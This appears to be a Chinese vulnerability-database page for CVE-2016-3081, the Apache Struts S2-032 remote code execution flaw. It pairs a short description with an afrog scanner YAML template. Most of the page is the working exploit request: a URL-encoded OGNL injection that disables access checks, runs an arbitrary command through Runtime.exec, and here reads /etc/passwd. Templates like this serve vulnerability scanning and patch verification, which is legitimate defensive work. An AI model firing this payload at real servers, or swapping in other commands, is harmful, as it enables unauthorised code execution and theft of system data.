CVE-2016-3081: Apache S2-032 Struts RCE

日期: 2025-09-01 | 影响软件: Apache Struts | POC: 已公开

漏洞描述

Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions.

PoC代码[已公开]

id: CVE-2016-3081

info:
  name: Apache S2-032 Struts RCE
  author: dhiyaneshDK
  severity: high
  description: |
    Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions.
  reference:
    - https://cwiki.apache.org/confluence/display/WW/S2-032
    - https://struts.apache.org/docs/s2-032.html

rules:
  r0:
    request:
      method: GET
      path: |
        /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2016/CVE-2016-3081.yaml

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